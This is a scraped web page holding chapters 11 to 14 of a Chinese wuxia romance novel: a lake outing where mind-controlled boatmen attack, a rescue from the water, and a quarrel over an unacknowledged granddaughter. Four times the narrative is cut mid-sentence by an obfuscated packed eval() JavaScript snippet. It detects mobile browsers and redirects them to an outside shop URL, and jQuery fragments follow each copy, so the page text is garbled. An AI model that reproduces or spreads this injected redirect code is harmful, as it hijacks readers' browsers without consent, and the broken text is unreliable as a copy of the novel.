她也不是第一回晕船,要说害怕,倒不至于。只是她对段家几人,防心未卸,着实不想让郭春馥母子二人瞧见她的窘态,将她拿捏住,于是只得故作镇静,坐回到桌旁。 “尝尝这个,”段逸朗盛了一碗赤豆圆子推到沈星遥跟前,“流云渡有几道名菜,旁的酒家都比不上,这赤豆圆子,便是其中最不可错过的一样。” 沈星遥拿起汤匙,看着碗里被鲜红的汤汁浸润的糯米丸子,迟疑片刻,方舀起一勺,送入口中,丸子一入口中,那绵密的甜味,只让她本就晕眩的头脑,更觉得粘稠沉重。 她强压下作呕的冲动咽下丸子,随即丢下汤匙,借口想看湖上风景,匆匆推门而出,走去外围长廊。郭春馥见状,立刻对段逸朗使了个眼色,让他跟出去查看。 11. 第十一章 平湖秋光过 段元恒的屋里,永远只点一种香,那是种特制的熏香,混合了多种木质香料气息,颇具安神之效。 “我还真是不明白,”凌无非双手环臂,嗤笑摇头道,“人是您让我找的,现在却又要我将她遣送回去?不知段堂主您到底是瞧不起她是个女子,还是嫌弃这姑娘身份低微,配不上您段家的名声?” “鸿儿年少无知,惹下这风流债,老夫本想着替他收拾残局,奈何这小姑娘实在上不得台面,”段元恒道,“此事你既已经答应过,就该好生料理残局,而不是让老夫下不了台。” “我怎么料理?那是您的孙女,又不是我的。”凌无非愈觉好笑,“那您现在又是何意?三番四次找我要问出她的下落,却又不肯与她相认。这姑娘的命已经够苦,您还想对她如何?” “你这孩子,怎么半点也没学到你父亲的稳重?”段元恒目光深邃,脸上尽是一副恨铁不成钢的模样,“看来是从小便被送了出去,未能学得半点家风。” “您若真要这么说,此事便无需再议,”凌无非道,“我这次来,原是想劝您接受这位段姑娘。可段堂主既然如此执拗,那便罢了,人我会平安送回,不劳您操心了。” “送回到哪?”段元恒又问。 “当然是她原本就在的地方。”凌无非道。 “改日我真得去趟金陵,问问秦掌门,究竟是怎样的家教,能让你如此目中无人,放肆到这种地步。”段元恒说着,立刻上前拉开房门。凌无非见状,则故意做出一个“请”的手势,示意他先行。 “今日天色好,馥儿说要带沈姑娘去游湖,本该喊上你同去的。”段元恒收敛怒意,道。 “游湖?”凌无非一惊,“就他们两个?” “朗儿当然也在,”段元恒道,“既然来了,便是客人,自然不好怠慢。” “星遥她去了?”凌无非愕然,“她怎么……” “应是去了,”段元恒对他这颇为异常的反应感到不解,“你怎如此大惊小怪?” 凌无非张了张口,却觉过多解释也无用,便匆匆丢下一句“我去找他们”,便跑了开去。 他清楚记得沈星遥晕船的事,照理而言,应是不会答应去的,可一连问过几个家仆,都说看见她与玉香一同出门上了马车,便立刻跑出大门,直奔太湖方向而去。 太湖水面波光荡漾,碧空浮云游弋,本是极好的风光。 可对于晕船的沈星遥而言,不论往哪里多看一眼,都会加重她眩晕反胃的症状。 “沈姑娘,可是觉得方才的菜色不合口味?”段逸朗上前,关切问道,“又或是哪里觉得不舒服?” “我在这站一会儿就好。”沈星遥脸色略有些泛白。他避开段逸朗的目光,望向远处的湖岸,眉心又蹙紧了几分。 “我看从昨天沈姑娘来时,似乎就不太喜欢这些礼数,”段逸朗道,“其实,你若不喜欢这些,大可以拒绝我娘的。” “多谢。”沈星遥淡淡道,“我只是想着,上回来姑苏走得过于匆忙,许多地方还未去过,难得夫人盛情相邀,便顺道看看。” 段逸朗不言,回身嘱咐跟在身后的侍从进屋倒茶。沈星遥不以为意,扶着廊边木栏,缓步走向船头,不知怎的,她忽然觉得有些异样,当即扫视一眼周围,只见附近的那些船工纷纷停下了手中的活计,不约而同朝她走来。 沈星遥本能向后退了一步。然而段逸朗却未察觉异样,正走到门边接过侍从端来的茶水,打算递给她。 “快进屋!”沈星遥冲他大喊。 说完这话,她还没来得及抬腿,便看见离他最近的那个船工轮起一根船桨,朝她双膝横扫而来。 沈星遥当即翻身闪避,由于晕船的缘故,她的动作迟缓了许多,画舫因船工离开了原本的位置而迷失了方向,猛地发出震颤,以至于她落地之时,险些站不稳身子,向后踉跄跌了一步。 “怎么回事?”段逸朗大惊。 沈星遥瞥见船工呆滞的眼神,便知他们与上回在玉峰山所见的山民一般被摄了魂,然而眼下船工们蜂拥而至,她来不及解释,只能见招拆招,连连闪避。 顷刻之间,画舫上下三层,已然乱作一团,所有船工通通罢了手中的活,一股脑冲向楼上的沈星遥等几人。 这些船工个个身强体健,若还清醒着,不懂那些高深的武学招式,倒还好对付些,然而此刻受人操控,身法进退自如,即便是有些武功傍身的段逸朗,也被他们逼得左支右绌,狼狈不堪。 那些随行的侍从见状,连忙冲出舱门帮助自家公子解围,留下几个本事高些的,保护着郭春馥。 沈星遥本就因晕船感到头晕目眩,身法比起在岸上时,已弱了许多,对付起这些受人控制的船工,也越发感到吃力。 段逸朗本能想要上前帮助沈星遥,在那些侍从的守护下,好不容易走到她身边,偏巧这时,一名船工不知从何处掏出一把匕首,猛地向全无防备的段逸朗背后扎去。 沈星遥眼疾手快,当即上前一步,朝那名船工当胸踹了一脚。这一脚力道充沛,直踹得那名船工向后跌飞出去,径自撞断栏杆,一头栽入太湖水中,溅起一人高的水花。 “别在这添乱……”沈星遥话到一半,便又是干呕,晕船之症越发严重。 一时之间,她看到眼前扑来的船工一个个都长了分身似的,混乱之中,不知挨了何人一掌,重重撞上身后木栏,顿时只觉一阵剧痛从背后传遍全身。 这一幕,刚好被赶到岸边的凌无非瞧见。 沈星遥身陷苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150357|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战,全未察觉此景,救下段逸朗后,便被数名船工逼至栏杆断口处,因船身颠簸,一招闪避不慎,半只脚踏空,直接头朝下栽入水中。 她完全不懂水性,落水之后,本能挣扎了几下,身子便直直向下沉去。浑浑噩噩间,腰身忽然被一双有力的手给拖住,一把拉上水面。 沈星遥满脸是水,一时睁不开眼,又恐再次沉入水中,只得搂紧来人脖子,咳出呛入喉咙的湖水,又抹了把脸,这才抬眼,瞧清来人面目,不由愣住:“你……” 凌无非不及解释,正欲向画舫上呼救,却见船上情形早已混乱不堪——有人受伤落水、有人抱头鼠窜,根本没人有空料理这湖水中的动静。 “当心水下!”沈星遥见水中晃过一道黑影,刚说完这话,右足踝处便被人拉住,几乎是同一时间,一名船工忽地跃出水面,当头挥起竹蒿,劈头盖脸朝二人砸了下来。 凌无非不由分说,立刻护住沈星遥沉入水中。沈星遥亦全力蹬足,挣脱了那只不知从何处伸来握在她足踝的手,却也因此消耗了体力,气息不足,张口呛入湖水,意识又模糊了许多。 这种时候,他已顾不得男女之别,见她闭目晕厥,只得将她揽入怀中。然而就在这时,三个船工从不同方向朝二人游了过来。凌无非怀抱沈星遥,勉力腾出右手夺了一人手中长蒿,横扫向那三人。 水中虽有阻力,这一击也还是打中了其中二人。见那两名船工受伤下沉,凌无非暗自松了口气,回头看向怀中昏迷的沈星遥,这才想起她已被困在水中多时,犹疑再三,不得已俯下身去,以口相就,向她渡了口气。 沈星遥似乎隐隐有所觉察,却已无力推开。 凌无非忽觉身后又有人来,即刻回头推出手中长蒿将船工击退,拥着沈星遥,奋力游上水面。 沈星遥忽觉眼前变得一片光亮,意识却仍旧有些迷糊。 凌无非见她仍未清醒,一时慌了神,连忙唤道:“星遥!星遥!能听见我说话吗?千万别睡着,快醒醒!” 沈星遥听见他的声音,又不知过了多久,费了好大的劲,才挣扎着睁开双眼,又看了一眼身旁的凌无非,却觉喉中苦水翻涌,什么话也说不出来。 她纵使再不懂得世俗之事,也明确知晓,男女之间,这般肌肤相亲意味着什么。 “事从权宜,若有冒犯之处,还请见谅。”凌无非连忙解释道。 沈星遥张了张口,却又摇头作罢,然而这时,她却看见水中再次浮起一团黑影,就在凌无非身后不远处,便忙拉了他一把。 凌无非这才觉察,即刻向旁闪避,却忽觉右腿外侧一阵剧痛,随后便见水面浮起鲜红的颜色,只得一咬牙,狠狠将那偷袭的船工踹下湖底深处。 “你受伤了!”沈星遥大惊。 12. 第十二章 湖上风波起 凌无非瞥了一眼已飘远的画舫,见一支传信烟火正窜上天际,便即松了口气,拥过沈星遥肩头,道:“跟我来,别再回船上。” “可他们不会有事吗?”沈星遥问道。 “那些人的目标是你,不是段家母子。”凌无非说完,强忍伤口剧痛,拥着她向数丈开外的湖心亭游去。 因右腿受伤的缘故,他只觉得流动的湖水里好似长了刀子,一波接一波剐着他的伤口,令他每一寸前行都十分艰难。 游至亭前,他的脸色已开始微微泛白,却还是托举着沈星遥双臂,让她先爬上了漫水的台阶。 沈星遥站稳脚步,回身拉了他一把,小心翼翼将他扶至亭内石桌旁坐下,自己则侧膝靠坐在离石凳最近的一级台阶上在怀中翻找一番,掏出白玉瓷瓶盛的金疮药。 这个时候,得了传信烟火通知的鼎云堂门人,也都到了湖边。一同跟来的还有徐菀,她在岸边张望了半天,才发现二人都在湖心亭中。 可她与沈星遥一般不会游水,偏偏附近的船家又因为这湖上的打斗躲得远远的,便只好在岸边站着,跳起来远远向二人挥手。 “这下怎么办?”沈星遥一面将他伤口附近衣物撕开一道小口,敷上伤药,一面问道,“你受了伤,还能游回去吗?” “倒不至于如此狼狈,”凌无非道,“段家是体面人,就算对此有所疑惑,也还不至于把事做绝。等收拾完那些船工,应当便会过来接应。” “可你这伤……”沈星遥看着他几乎被鲜血染红的右腿,道,“抱歉,是我拖累了你。” “这有什么大不了的?不管怎么说,是我把你们带来姑苏,总不能出了岔子。”凌无非笑道,“既要行走江湖,便免不了与人交手,这点伤,还算不了什么。”言罢,两指并拢,飞快封住伤口附近几处大穴。 “你怎么会想到来这儿?不是在与段堂主议事吗?”沈星遥问道。 “我可不想再管他那些闲事,”凌无非摇头,目露鄙夷,道,“刚才与他起了争执,打算走的时候才知道段夫人带你来游湖。我记得你晕船,放不下心,便过来看看。” “若知道是来游湖,我早就拒绝了。”沈星遥摇头,无奈叹道,“原来心眼太少,走江湖是要吃亏的。” “你不是没有心眼,只是不曾与这些人打交道。”凌无非笑道,“往后遇上这些名门大派,不管他们怎么把赏识你之类的话说得天花乱坠,都不要相信。他们人脉广阔,遍布天下,若不是太过落魄,或是怀有别的企图,怎么都不至于要求一个后生晚辈替他们办事。” “不管怎么说,今日还是要谢谢你。”沈星遥说着,冲他莞尔一笑。 凌无非垂眸望了一眼,瞧见一滴水珠顺着她额头正中滑下,停在鼻尖,悬了好半天也未落下。他也不知道自己脑袋里在想些什么,下意识弯起五指,翻过手背靠近她鼻尖,用食指关节轻轻一点那颗水珠。 晶莹剔透的小水珠,立刻融入他手背未干的水迹,消失不见。 沈星遥有所察觉,不解抬眼,恰与他对视。二人眸中皆有好奇,诧异,好似凝固了时光。 一阵清风拂过,吹落二人下颌悬垂的水珠。凌无非恍惚回过神来,这才意识到不妥,连忙收回手,别开目光,故作镇静清了清嗓子。 鼎云堂派来增员的部下收拾完残局,随后才发现坐在湖心亭的二人,于是立刻找了条船来接。凌无非在来人的搀扶下上了船,又回头看了一眼沈星遥,见她目光有所迟疑,便笑了笑,朝她伸出一只手,柔声说道:“上船吧,有我在。” 沈星遥抬眼,目光恰与他相对,回想起方才在水中被他所救情形,心中漾起一阵暖意,当即握住他的手,小心翼翼走上小舟,坐在他身旁。 经历方才那一战,她只觉疲惫不堪,自然而然便将头靠在了靠在身旁人肩上,阖目养神。凌无非察觉她这一动作,垂眸望了一眼,用极轻柔的动作将她鬓边歪斜的木簪扶正,什么话也没说。 “怎么弄成这样?”等回到岸边,段元恒看着一身狼狈的众人,脸色立刻沉了下来,“那些船工到底是怎么回事?是受何人指使?” “回掌门,人都已擒住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150358|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是不知为何昏了过去。”一旁的侍从拱手道。 “带回去问话!”段元恒怒极,目光转向沈星遥,停留片刻,道,“沈姑娘上回来姑苏,是三年前吧?” 沈星遥平视他双目,平静不言。 “这些船工多是姑苏本地人,姑娘又怎会与他们结怨?”段元恒眸光深邃,显然意有所指。 “我也很想知道。”沈星遥道。 “那么,敢问沈姑娘,究竟师从何处?”段元恒上前半步,问道。 “先师已逝,并无侠名在外。”沈星遥说这话时,脑中都是沈月君的影子。 段元恒听了这话,脸色立刻沉了下来。凌无非看出不妙,连忙将沈星遥拉至身后护住,对段元恒道:“我家义妹自小怕水,应是吓着了。段堂主也不必太过惊慌,既然公子与夫人并未受伤,便不必再追究了。” “义妹?”段元恒冷哼一声,目光落在他右腿伤口上,点点头道,“难怪为了她,连性命都不顾。我看你这伤口不浅,还是回去让胡医师看看吧。” “不必了。”凌无非道,“未免这些仇家再给鼎云堂带来麻烦,我们兄妹几个,找家客舍住下便可,便无需劳您费心了。” “这还了得?”段元恒的口气不容置辩,当即便对一旁的随从道,“好好护送凌少侠回去,若有闪失,唯你们是问!”言罢,当即拂袖转身,大步走开。 沈、凌二人相视一眼,想到徐菀还在段家疗伤,便未吭声。沈星遥虽受了内伤,但还能够正常走动,不由分说便拉过凌无非一条胳膊,架在自己肩头。 凌无非受宠若惊,下意识看了她一眼,不知怎的忽感一阵局促,又匆忙低下了头。 回到鼎云堂后,段元恒立刻安排门人将二人送回各自房中,碰巧胡医师也还在府上,便请她去为凌无非查看伤势。府上家仆同婢女们也备下热水,将沈星遥接了去。 沈星遥沐浴更衣后,想起凌无非的伤,立刻赶去探望,走到门外,还未来得及敲门,便瞧见段逸朗从里边把门拉开。二人四目相对,场面忽然变得尴尬起来。 13. 第十三章 心网若尘生 “沈姑娘……”段逸朗不自觉别开目光,道,“今日之事……” “那些人是冲我来的,不关你的事。”沈星遥道,“他伤势如何?” “还好,伤口不算太深,未及筋骨,已经服过药了。”段逸朗说着,想了想,又道,“实在是对不住,让你受惊了。” “我去看看他。”沈星遥从段逸朗身侧绕开,走进屋内。段逸朗迟疑片刻,方转身走开,小心合上房门。 凌无非此刻正坐在床上,已换了一身干净的衣裳,腰身往下都盖着被褥,回头望见是她,便即笑道:“你怎么来了,受了伤,不歇一会儿吗?” “已经好多了。”沈星遥道,“我过来时,听府上的人说,说那些船工已经醒了,不管问什么都说不知道。” “与那天在玉峰山的情形一模一样。”凌无非道,“只是我想不明白,他们的目标本应是徐姑娘,为何这次会找上你?” “发疯的只有船工,而不是在那条船上的所有人,我想应当不是临时起意,而是早有预谋。”沈星遥道,“也许是对方认为,我和阿菀都会上那条船。” 凌无非听罢,微微蹙眉,陷入思考。 “我方才在想,阿菀留在这里还是太危险。我想同她商量,看她愿不愿意先回昆仑山。”沈星遥道。 “可你不是说,你与洛掌门有误会?”凌无非一愣。 “我姐姐也在山上,请她联络苏师伯派人来接,应当不成问题。”沈星遥道,“我也会同阿菀和姐姐说,若是有机会想起什么,定会给金陵发去书信告诉你。” “如此也好,”凌无非点头道,“那你日后有什么打算?” “还是同从前一样,我也想试探试探,倘若阿菀不在我身边,那些人还会不会再次出现。”沈星遥道。 “可如此一来,你的处境会很危险。”凌无非道,“还是不要独自行动的好。” “我这些年都是一个人,不也好好的吗?”沈星莞尔,“寄人篱下,终究不是长远之计。” 凌无非看了看她,欲言又止。 “好了,”沈星遥道,“你还有伤,便不打扰你了,这件事,终归不能我一人做主,还得回去问问阿菀。”言罢,简单嘱咐几句,便推门而出。 凌无非看着沈星遥转身离去的背影,心底蓦地腾起一丝落寞,却想不明白这落寞从何而来。 然而等沈星遥回到房内,将这些想法对徐菀说完,却遭到了她的强烈反对。 “我回昆仑山?那么你呢?”徐菀听完沈星遥的话,摇了摇头,断然否决了她的想法,“除非你能同我一起回去,否则,便是置你于危险之中,我不能同意。” “可那些人是冲你来的。”沈星遥若有所思。 “但今日在船上,那些人所针对的的确确只有你,”徐菀说道,“现在所设想的一切都只能是猜测,倘若我回去了,他们还是不放过你,又该怎么办?你可有想过后果?” 沈星遥听罢,凝眉不语。 却在这时,房门忽然被人敲响。徐菀上前拉开房,却看见凌无非靠着墙立在门外。 “你伤口还没愈合,便下地走路?”沈星遥见状一愣,“有什么事吗?” “刚才听你说要徐姑娘回昆仑山,才突然想到,这几日来,我们似乎都遗漏了一件事,”凌无非道,“昆仑与玉峰山,相去甚远,琼山派世代与外隔绝,即便与外界有所连,也断然不会让一个年轻的弟子单独出山办事。” “我起初也这么想过,可同这件事有什么关系吗?”沈星遥若有所悟。 “这里没有线索,但昆仑山上或许会有。”凌无非道,“而且,或许正是因为此事极为隐蔽,徐姑娘才会独自一人下山,去往渝州。而且,在徐姑娘失忆以前,应是不愿让长辈或是其它同门得知此事的,如今失忆而归,琼山派势必也会寻根究底,后面事态的发展,恐怕未必是她所愿。” “是我疏忽了,”沈星遥如梦初醒,“也就是说,真相可能就在阿菀自己身上?如此说来,还是得联络姐姐,让她去阿菀房中找找有何线索?” 说着,她蹙了蹙眉,摇摇头道:“不对,阿菀同姐姐师承不同,要让姐姐去她屋里,还得找个由头才行。” “这个简单,信我来写,就说让她到我房间找点东西,这总不会有人多问。”徐菀说道。 沈星遥点头,正待出门去借纸笔,才猛然发觉,凌无非一直都顶着剧痛的伤腿在门外站着,便即上前搀扶。徐菀则出门去借纸笔。 凌无非由于一直都靠左腿支撑,又靠着墙,一个姿势站得久了,难免有些僵硬,被她搀扶以后,脚下忽然收力,身子不受控制向前倾斜栽去。 沈星遥与他面对着面,这一个踉跄,令她措手不及。她手忙脚乱将人搀稳,再抬眼时,才发觉两人鼻尖已几乎快要碰在一起,甚至能够清晰感受到彼此的呼吸。 二人脑中几乎同时闪过午间在太湖水下,凌无非为救险些溺水的沈星遥,以口相就渡气时的情形。湖水冰凉,体温几不可察,但唇瓣柔软的触感,却真实得很。 “进屋坐吧。”沈星遥打断了这微妙的气氛,将他扶至屋内的椅子上坐下。 “你也不必太过着急,”凌无非避开她的目光,道,“离寿宴还有几日,可以先在这等消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150359|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 说着,他想了一会儿,又道:“还有件事。” “但说无妨。” “等段堂主审问过那些船工,定会过来找你问话,在玉峰山的那些事,还望你能保守秘密,切勿向他透露半个字。” “这我知道,不必你提醒。”沈星遥道,“设法敷衍过去就好,还有,我们真得尽快找个理由搬出去。” 徐菀很快拿了纸笔回来,与二人商议,仔细斟酌字句,直到黄昏才把书信写完,这才放心把信交给沈星遥。 “这信要怎么送回去?”徐菀不解道。 “我自有办法,”沈星遥道,“只管把信送出去,剩下的就看姐姐怎么做了。” 说着,又转向凌无非,笑道:“我正好要出门,便扶你回房去吧。” “那就多谢了。”凌无非扶着桌子,艰难站起身来。 沈星遥搀扶着凌无非走出房门,穿过小院,看着身旁飞过的小虫,不觉感叹道:“昆仑山上可比这冷清多了,真希望姐姐也能下山看看。” “我记得你曾隐约提过,那是你的同胞姐姐?”凌无非好奇问道。 沈星遥点头:“我比她小几岁。姐姐性子比我温和,向来与世无争。三年前,我与掌门争执,叛出师门,依照门规,要与掌门过得百招,才能出得了山门。当年我才十五岁,有哪里会是掌门的对手?百招之后,已是遍体鳞伤,全是靠着姐姐陪伴,我才能平安无事走下昆仑山。” “也就是说,三年前的那件事,让你冒死也要离开师门,”凌无非道,“如此说来,洛掌门对你成见不浅。” “说来也奇怪,”沈星遥摇头笑道,“许是我的性子太执拗了,掌门一直不喜欢我,却对姐姐照顾有加。幸好我也的确更喜欢山下的生活。” “为什么?”凌无非饶有兴味问道,“不觉得繁琐的人情往来,比不上昆仑山里的日子清静吗?” “昆仑山是清静,可就是太清静了,才让人觉得无趣。”沈星遥莞尔,“人间有四季,昆仑山却只有冬天。春夏秋季,鸟兽虫鸣,甚至是枯萎的叶子落在地上,被风卷起的声音,在我十五岁以前,都从未听过。我甚至想过,如果有朝一日还要回到昆仑山上生活,我一定要带些山下的小玩意儿回去,最好是有声响的,时不时敲一敲,听一听,才不会觉得无趣。” 凌无非闻言,恍然点了点头。 他看了看身旁的少女,见她展目望向远方蝴蝶飞舞时那专注的模样,忽觉此刻风光,一派静好。 春风夏雨,秋日风霜,这些在俗世中人看来最寻常不过的四季寒暑,原来也会成为她留恋红尘的理由。 14. 第十四章 不请客自来 天朗气清,浮云悠悠,与这家名为霁月楼的客舍名字,倒是十分相宜。 沈星遥站在凌无非屋内的窗口,看着从窗口飞过的鸟雀,道:“听鼎云堂的人说,今早离开府上之前,你同老堂主起了争执?” “不这么做,现在我们也不会在这里。”凌无非笑道,“我对他说你是我义妹,可他的儿媳与孙子却没安好心,要打你的主意,把你骗上游船,惹来这么一出幺蛾子,让你险些丢了性命。” “义妹?”沈星遥笑问,“你年纪比我大吗?” “这倒不知,你几岁?”凌无非笑问。 “丁卯年三月十八。”沈星遥笑道,“今年乙酉,刚满十八。” “三月十八?”凌无非一愣,随即笑道,“那我这谎可撒得太草率了,你比我还要年长几个月。可我怎么觉得你看起来顶多只有十六?” “你是在恭维我吗?”沈星遥问道。 “实话实说,”凌无非道,“那徐姑娘呢?比你小几岁?” “她与我同年,也小不了多少。”沈星遥道。 凌无非听罢一愣,随即朗声笑了出来,道:“琼山派与世隔绝,门中弟子不必理会这些红尘琐事,需要烦心之处,也比我们这些俗人少得多,果然要显得年轻些。” “是这样吗?”沈星遥若有所思,“与世隔绝,这话说得也不全对,平日里,弟子们也会结伴下山历练,只是走得都不太远,而且多多少少也会与江湖中人有些往来。只是遇见的麻烦人少,所以以讹传讹,便越传越玄乎了吧?” “原来如此,”凌无非微笑点头,“不过至少,有些话还是对的。” “什么话?”沈星遥不解。 “这话说出来,可就冒犯了,”凌无非笑道,“都说昆仑山里住得都是仙子,我看这话是真的。” 虽是恭维之言,但他说此话时,神情十分诚恳,全无冒犯之意。 江湖有言:“人间英杰薛折剑,天上神仙隐昆仑”。 在他看来,从昆仑山上下来的姑娘,的确是这凡尘俗世难得一见的仙人,尤其是眼前这位。 堪称惊鸿游龙,唯有瑶台月下,方能窥见芳容。 时近白露,秋风愈多,门外老树的叶子也渐渐枯黄。 凌无非腿伤稍好了一些,勉强能够下地走动。他不愿总呆在房里,这日午后,便一个人推开房门,缓缓走到楼下大堂,叫了一壶茶,坐在窗边透气。 窗外街头,人来人往,甚是喧闹。凌无非忽觉伤口一阵抽搐,不由蹙紧了眉,待得这阵疼痛过去,方端起面前的茶盏低头饮了一口,还没等到他将茶盏放下,便听得一阵脚步声朝他靠近。 凌无非放下茶盏,抬眼一望,只见一名男装打扮的少年女子在他跟前不远处站定。他看清来人模样,原本轻松的神情忽地添了几分严肃:“你怎么来姑苏了?” “我再不来,还不知你会如何与那老东西图谋害我。”少女说着,眼底涌起杀意。他手里捏着一把折扇,拇指轻推扇骨,倏地展开扇面,便将此物做了兵器,直冲凌无非面门而来。 凌无非侧身疾闪,左足蓦地发力从地面蹬起,一个后翻落地。他因右腿有伤,落地之时,身形略有摇晃,向后错步一个踉跄,适才站稳。 “你将我哄骗去金陵等你消息,却自己一而再,再而三来讨好那老东西。说好会尽快给我答案,现在过了这么久,你可问到了结果?”少女说着纵步踏过桌面,跃至凌无非跟前,劲风扫过桌面杯盏,噼里啪啦碎落了一地。 她将扇面一合,将之当做匕首一般刺出。凌无非左足向后滑开一大步,仰面避让,同时探出右手去夺她手中折扇,却在这时,忽觉右腿伤口剧痛,一时不支,只得以左手支地,以之为轴心旋身滑出扇骨劲风所笼范围,稳住脚步站直身子。 “此事非你所想的那么简单。”凌无非道,“他不愿接纳你,我已尽力劝说,却还是没有结果。” “这就是你给我的答案?”少女怒极,展开折扇,飞身抛出,直逼凌无非面门。 就在这时,一道人影从二楼回廊围栏处飞身而下,右手接住那把折扇,在空中一个翻身稳稳落在侧旁,正是沈星遥。 那男装打扮的少女不由露出错愕的目光。 “多谢。”凌无非顿时松了口气。 只见沈星遥将折扇一合,缓缓走到那名少女跟前,道:“二位可是有何过节?值得如此大动肝火?” “我叫段苍云。”少女言简意赅,“你给我让开!” “你也姓段?”沈星遥一愣。 “这姓氏,我还不想要呢。”段苍云冷冷道,“你又是谁?” “我是谁不重要。”沈星遥看了一眼凌无非,又道,“再大的恩怨,也不值得在此大打出手,何况他身上还有伤,你就算胜了,恐怕也胜之不武。” “我管他有没有伤!”段苍云上前一步,骂道,“和那老东西蛇鼠一窝,沆瀣一气,骗我骗得好苦。” “嗯?”沈星遥听不明白,不禁望向凌无非,好奇问道,“这是怎么回事?” 凌无非无声叹了口气,无奈摇头道:“上去说吧。” “不必了,”段苍云收起折扇,道,“我就当你之前的话都是放屁,我的事情,自己会办妥当,不用你再管!”言罢,拂袖转身便走。 沈星遥站在原地,不明就里摇了摇头。 她回过身来,一眼便瞥见了凌无非右腿上端隐隐渗出的鲜红血迹,即刻上前搀扶道:“这还没养几日,伤口又裂开了。我看你还是不要随便走动了。” “你怎么没同徐姑娘在一起?”凌无非问道。 “她昨天夜里问了我很多门派里的事,将近五更才睡,”沈星遥道,“让她多知道些也好。” 沈星遥搀着凌无非回房坐下,刚才问道:“刚才那姑娘,骂你骂得十分难听,你骗她什么了?” “这个……”凌无非思索良久,方长叹一声,道,“我还真没骗过她。” “此话怎讲?”沈星遥不解。 “她是段鸿舟流落在外的私生女。”凌无非道。 “什么?”沈星遥愕然,“段鸿舟不是已死去很多年了吗?这么说来,那位姑娘口中的老东西,说的就是段堂主了?”沈星遥问道。 “去年段堂主突然找到我,要我帮他寻人。说是段鸿舟早年间行事风流,在外处处留情。段堂主还说,逸朗资质不够,鼎云堂掌门之位,若传给他,必将没落。他说问我能不能查查清楚,看段鸿舟还有其他子嗣流落在外,最好带回姑苏,让他们认祖归宗。”凌无非道,“我本不愿插手这些闲事,便回去与师父商议,师父说,我可先找到对方下落,但不必着急与他们说明,等到确认过段堂主的意思,再行定夺。如此而来,既不算怠慢,也不至给自己惹上麻烦。” “莫非,段堂主又反悔了?”沈星遥不解道。 “我的确找到段鸿舟那几个旧情人的线索,不过她们大多都已嫁为人妇,只有一位姓何的女子,为了段鸿舟和他的孩子,守了一生,直至病故。”凌无非道,“此人就是段苍云的母亲。” “后来呢?” “我起初并未现身,还是先到姑苏,询问段堂主,确信他依然要认这孙女,才去找到段苍云。可偏偏这个时候,段堂主反悔了。” “为何?”沈星遥不解。 “那位何姓女子一生困苦,无人养活,为了这个孩子,只能沦为暗倡。”凌无非道,“至段元恒的说辞,是说这个孙女的身份上不了台面,可我觉得,此话未必是他的本意。” “那你一开始同他说的时候,他为何又要答应?”沈星遥不解,“难道一开始没说清楚吗?” “同这样的人打交道,我当然是慎之又慎,”凌无非叹道,“可我怎么能猜到,事后他又会改主意?所以,我只能将段姑娘安置在金陵,又来姑苏同他确认此事。” “这就是你之前对我说过的‘私事’?”沈星遥蹙眉道,“段元恒这是把你耍着玩呢?” “多半是了,”凌无非一耸肩,无奈摇头道,“只是我还没想明白他到底想干什么。” “这段姑娘还真是可怜,我要是她,这些所谓的家人不认也罢。”沈星遥道,“或许对她来说,还有什么未解开的心结吧。” 凌无非垂眸凝神,良久不语,半晌,方开口道:“可我担心,她会真的去鼎云堂,找段元恒算账。” “可这也是她自己的选择,你还是多关心自己吧。”沈星遥道。 凌无非听罢,摇头长叹一声。 然而就在这天夜里,段元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150360|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恒便打着探病的名义前来,叩响了他的房门。凌无非心知躲不过,便坦然将人迎入屋内。 “腿伤好些了吗?”段元恒一进门便露出关切的神情,“早让你好好在府上呆着,别到处乱跑,看你这蹒跚的姿态,伤势怎不见好,反似又加重了些?” “您放心吧,瘸不了。”凌无非在床沿坐下,道,“这都什么时辰了,怎么段堂主还有空到这儿来?” 